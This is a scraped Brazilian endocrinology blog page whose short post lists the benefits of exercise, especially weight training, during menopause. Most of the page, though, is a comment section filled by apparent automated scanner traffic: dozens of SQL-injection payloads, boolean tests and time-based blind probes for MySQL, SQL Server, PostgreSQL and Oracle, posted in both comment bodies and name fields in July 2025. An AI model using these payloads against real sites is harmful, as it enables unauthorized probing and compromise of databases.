Blog

  • Home
  • Blog isabellecartaxoendocrino.com.br

Exercícios na Menopausa

📍Quando o assunto é se exercitar, não faltam estudos que comprovem os benefícios durante a perimenopausa: reforça a massa muscular, fortalece a estrutura óssea e ameniza os sintomas dos fogachos.

😅 Ajuda a manter um peso adequado, auxiliando na prevenção de obesidade e diabetes; melhora a capacidade cardiovascular, facilita a circulação sanguínea e diminui o risco de hipertensão. ❤

🏃‍♀️Praticar exercício ajuda ainda a atenuar sintomas psicológicos, reduzir o stress e a insônia. Para os esquecidos, o exercício tem papel importante na cognição, auxiliando na prevenção de Alzheimer.

🛑E atenção, mesmo que o seu objetivo seja emagrecer, não deixe de fazer musculação! O exercício resistido estimula a massa magra, aumentando o metabolismo e diminuindo risco/progressão de osteoporose!!

📢Movimente-se!! 💃🏃‍♀️🏄‍♀️⛹️‍♀️🤽‍♀️

Comentários

  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1 OR 2+881-881-1=0+0+0+1 --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1 OR 3+881-881-1=0+0+0+1 --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1 OR 3*2<(0+5+881-881) --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1 OR 3*2>(0+5+881-881) --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1 OR 2+406-406-1=0+0+0+1
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1 OR 3+406-406-1=0+0+0+1
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1 OR 3*2<(0+5+406-406)
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1 OR 3*2>(0+5+406-406)
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1' OR 2+294-294-1=0+0+0+1 --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1' OR 3+294-294-1=0+0+0+1 --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1' OR 3*2<(0+5+294-294) --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1' OR 3*2>(0+5+294-294) --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1' OR 2+744-744-1=0+0+0+1 or 'PpcKwPGc'='
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1' OR 3+744-744-1=0+0+0+1 or 'PpcKwPGc'='
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1' OR 3*2<(0+5+744-744) or 'PpcKwPGc'='
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1' OR 3*2>(0+5+744-744) or 'PpcKwPGc'='
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1" OR 2+880-880-1=0+0+0+1 --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1" OR 3+880-880-1=0+0+0+1 --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1" OR 3*2<(0+5+880-880) --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    -1" OR 3*2>(0+5+880-880) --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555*if(now()=sysdate(),sleep(15),0)
    14/07/2025 | Responder
  • lxbfYeaa disse:
    5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
    14/07/2025 | Responder
  • lxbfYeaa disse:
    5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
    14/07/2025 | Responder
  • lxbfYeaa disse:
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555-1; waitfor delay '0:0:15' --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555-1); waitfor delay '0:0:15' --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555-1 waitfor delay '0:0:15' --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555oGT48b7N'; waitfor delay '0:0:15' --
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555-1 OR 151=(SELECT 151 FROM PG_SLEEP(15))--
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555-1) OR 63=(SELECT 63 FROM PG_SLEEP(15))--
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555-1)) OR 221=(SELECT 221 FROM PG_SLEEP(15))--
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555NvYYojHl' OR 18=(SELECT 18 FROM PG_SLEEP(15))--
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555rxQceZw3') OR 950=(SELECT 950 FROM PG_SLEEP(15))--
    14/07/2025 | Responder
  • lxbfYeaa disse:
    5553BOD8g6E')) OR 209=(SELECT 209 FROM PG_SLEEP(15))--
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555'"
    14/07/2025 | Responder
  • lxbfYeaa disse:
    @@PBL57
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • -1 OR 2+431-431-1=0+0+0+1 --  disse:
    555
    14/07/2025 | Responder
  • -1 OR 3+431-431-1=0+0+0+1 --  disse:
    555
    14/07/2025 | Responder
  • -1 OR 3*2<(0+5+431-431) --  disse:
    555
    14/07/2025 | Responder
  • -1 OR 3*2>(0+5+431-431) --  disse:
    555
    14/07/2025 | Responder
  • -1 OR 2+484-484-1=0+0+0+1 disse:
    555
    14/07/2025 | Responder
  • -1 OR 3+484-484-1=0+0+0+1 disse:
    555
    14/07/2025 | Responder
  • -1 OR 3*2<(0+5+484-484) disse:
    555
    14/07/2025 | Responder
  • -1 OR 3*2>(0+5+484-484) disse:
    555
    14/07/2025 | Responder
  • -1' OR 2+611-611-1=0+0+0+1 --  disse:
    555
    14/07/2025 | Responder
  • -1' OR 3+611-611-1=0+0+0+1 --  disse:
    555
    14/07/2025 | Responder
  • -1' OR 3*2<(0+5+611-611) --  disse:
    555
    14/07/2025 | Responder
  • -1' OR 3*2>(0+5+611-611) --  disse:
    555
    14/07/2025 | Responder
  • -1' OR 2+996-996-1=0+0+0+1 or 'ZBYUp1JG'=' disse:
    555
    14/07/2025 | Responder
  • -1' OR 3+996-996-1=0+0+0+1 or 'ZBYUp1JG'=' disse:
    555
    14/07/2025 | Responder
  • -1' OR 3*2<(0+5+996-996) or 'ZBYUp1JG'=' disse:
    555
    14/07/2025 | Responder
  • -1' OR 3*2>(0+5+996-996) or 'ZBYUp1JG'=' disse:
    555
    14/07/2025 | Responder
  • -1" OR 2+950-950-1=0+0+0+1 --  disse:
    555
    14/07/2025 | Responder
  • -1" OR 3+950-950-1=0+0+0+1 --  disse:
    555
    14/07/2025 | Responder
  • -1" OR 3*2<(0+5+950-950) --  disse:
    555
    14/07/2025 | Responder
  • -1" OR 3*2>(0+5+950-950) --  disse:
    555
    14/07/2025 | Responder
  • if(now()=sysdate(),sleep(15),0) disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa-1 waitfor delay '0:0:15' --  disse:
    555
    14/07/2025 | Responder
  • lxbfYeaaRbFRZNDV'; waitfor delay '0:0:15' --  disse:
    555
    14/07/2025 | Responder
  • lxbfYeaagkGsJcm6' OR 57=(SELECT 57 FROM PG_SLEEP(15))-- disse:
    555
    14/07/2025 | Responder
  • lxbfYeaazLZuqiiD') OR 644=(SELECT 644 FROM PG_SLEEP(15))-- disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa9AHaqwnh')) OR 418=(SELECT 418 FROM PG_SLEEP(15))-- disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa'" disse:
    555
    14/07/2025 | Responder
  • @@umHNb disse:
    555
    14/07/2025 | Responder
  • lxbfYeaa disse:
    555
    14/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1 OR 2+494-494-1=0+0+0+1 --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1 OR 3+494-494-1=0+0+0+1 --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1 OR 3*2<(0+5+494-494) --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1 OR 3*2>(0+5+494-494) --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1 OR 2+158-158-1=0+0+0+1
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1 OR 3+158-158-1=0+0+0+1
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1 OR 3*2<(0+5+158-158)
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1 OR 3*2>(0+5+158-158)
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1' OR 2+496-496-1=0+0+0+1 --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1' OR 3+496-496-1=0+0+0+1 --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1' OR 3*2<(0+5+496-496) --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1' OR 3*2>(0+5+496-496) --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1' OR 2+344-344-1=0+0+0+1 or 'LQNOm5Zn'='
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1' OR 3+344-344-1=0+0+0+1 or 'LQNOm5Zn'='
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1' OR 3*2<(0+5+344-344) or 'LQNOm5Zn'='
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1' OR 3*2>(0+5+344-344) or 'LQNOm5Zn'='
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1" OR 2+150-150-1=0+0+0+1 --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1" OR 3+150-150-1=0+0+0+1 --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1" OR 3*2<(0+5+150-150) --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    -1" OR 3*2>(0+5+150-150) --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555*if(now()=sysdate(),sleep(15),0)
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555-1; waitfor delay '0:0:15' --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555-1); waitfor delay '0:0:15' --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555-1 waitfor delay '0:0:15' --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555Dl0TtGsB'; waitfor delay '0:0:15' --
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555-1 OR 355=(SELECT 355 FROM PG_SLEEP(15))--
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555-1) OR 179=(SELECT 179 FROM PG_SLEEP(15))--
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555-1)) OR 242=(SELECT 242 FROM PG_SLEEP(15))--
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555INzaY6is' OR 924=(SELECT 924 FROM PG_SLEEP(15))--
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555njqxbwg5') OR 175=(SELECT 175 FROM PG_SLEEP(15))--
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    5558Jiv2XTy')) OR 707=(SELECT 707 FROM PG_SLEEP(15))--
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555'"
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    @@EZhjb
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • -1 OR 2+946-946-1=0+0+0+1 --  disse:
    555
    16/07/2025 | Responder
  • -1 OR 3+946-946-1=0+0+0+1 --  disse:
    555
    16/07/2025 | Responder
  • -1 OR 3*2<(0+5+946-946) --  disse:
    555
    16/07/2025 | Responder
  • -1 OR 3*2>(0+5+946-946) --  disse:
    555
    16/07/2025 | Responder
  • -1 OR 2+640-640-1=0+0+0+1 disse:
    555
    16/07/2025 | Responder
  • -1 OR 3+640-640-1=0+0+0+1 disse:
    555
    16/07/2025 | Responder
  • -1 OR 3*2<(0+5+640-640) disse:
    555
    16/07/2025 | Responder
  • -1 OR 3*2>(0+5+640-640) disse:
    555
    16/07/2025 | Responder
  • -1' OR 2+797-797-1=0+0+0+1 --  disse:
    555
    16/07/2025 | Responder
  • -1' OR 3+797-797-1=0+0+0+1 --  disse:
    555
    16/07/2025 | Responder
  • -1' OR 3*2>(0+5+797-797) --  disse:
    555
    16/07/2025 | Responder
  • -1' OR 2+797-797-1=0+0+0+1 or '7m5Fme6W'=' disse:
    555
    16/07/2025 | Responder
  • -1' OR 3+797-797-1=0+0+0+1 or '7m5Fme6W'=' disse:
    555
    16/07/2025 | Responder
  • -1' OR 3*2<(0+5+797-797) or '7m5Fme6W'=' disse:
    555
    16/07/2025 | Responder
  • -1' OR 3*2>(0+5+797-797) or '7m5Fme6W'=' disse:
    555
    16/07/2025 | Responder
  • -1" OR 2+408-408-1=0+0+0+1 --  disse:
    555
    16/07/2025 | Responder
  • -1" OR 3+408-408-1=0+0+0+1 --  disse:
    555
    16/07/2025 | Responder
  • -1" OR 3*2<(0+5+408-408) --  disse:
    555
    16/07/2025 | Responder
  • -1" OR 3*2>(0+5+408-408) --  disse:
    555
    16/07/2025 | Responder
  • if(now()=sysdate(),sleep(15),0) disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ-1 waitfor delay '0:0:15' --  disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJuSXEdAUB'; waitfor delay '0:0:15' --  disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ9fMN15xU' OR 217=(SELECT 217 FROM PG_SLEEP(15))-- disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJxEvNu1Hc') OR 245=(SELECT 245 FROM PG_SLEEP(15))-- disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJnlPNaJ5K')) OR 36=(SELECT 36 FROM PG_SLEEP(15))-- disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ disse:
    555
    16/07/2025 | Responder
  • ubaTaeCJ'" disse:
    555
    16/07/2025 | Responder
  • @@moVDS disse:
    555
    16/07/2025 | Responder
Escrever comentário